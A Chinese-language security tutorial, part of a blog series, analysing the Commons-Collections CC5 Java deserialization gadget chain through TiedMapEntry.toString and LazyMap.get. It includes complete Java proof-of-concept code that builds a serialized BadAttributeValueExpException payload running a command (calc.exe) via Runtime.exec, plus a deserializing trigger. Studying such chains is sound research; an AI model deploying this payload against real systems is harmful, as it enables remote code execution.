前言

CC5链和CC1差不多，只不过调用LazyMap.get()是通过TiedMapEntry.toString()触发的

1.环境

我们可以接着使用之前已经搭建好的环境，具体过程可以看CC1分析文章的环境安装部分
Commons-Collections篇-CC1链小白基础分析学习

2.分析

我们先把后半段Lazy.get到命令执行的代码写出来

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[]{String.class},
                        new Object[]{"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map, chainedTransformer);
        Lazy.get(1);
    }
}

我们查找get的用法，发现在TiedMapEntry.getValue()进行了调用

我们接着寻找，在同类的toString方法找到了调用

接着寻找，但是toString方法太多了，我们直接跳到目标BadAttributeValueExpException.readObject()方法处

在构造处我们能看见也有个toString方法，所以在刚开始会自动调用poc，我们需要和前几次分析一样，先传入一个随便的值，在最后通过反射修改回我们构造的命令

3.编写POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[]{String.class},
                        new Object[]{"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new String[]{"C:\\windows\\system32\\calc.exe"}
                )

        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map Lazy = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazy,"admin");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);

        Class a = badAttributeValueExpException.getClass();
        Field val = a.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);

        serializable(badAttributeValueExpException);
    }
    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

    private static void serializable(Object o) throws IOException, ClassNotFoundException{
        FileOutputStream fos = new FileOutputStream("obj");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);
        os.close();

    }
}

我们使用反序列化运行生成的poc

package org.example;
import java.lang.annotation.Annotation;

import com.oracle.jrockit.jfr.ValueDefinition;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC {
    public static void main(String[] args) throws Exception {
        //命令执行代码
        unserializable();
    }

    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{
        FileInputStream fis = new FileInputStream("obj");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object o = ois.readObject();
        return o;
    }

}

整体路线为：

BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
        LazyMap.get()
            ChainedTransformer.transform()
                        ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()    
                                    Class.getMethod()
                            InvokerTransformer.transform()
                    Method.invoke()                        
                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                    Method.invoke()                        
                    Runtime.exec()
        

本系列历史文章

反序列化之路-URLDNS

Commons-Collections篇-CC1链小白基础分析学习

CC1链补充-LazyMap

Commons-Collections篇-CC2链分析

Commons-Collections篇-CC3链

Commons-Collections篇-CC4链分析

Commons-Collections篇-CC6链分析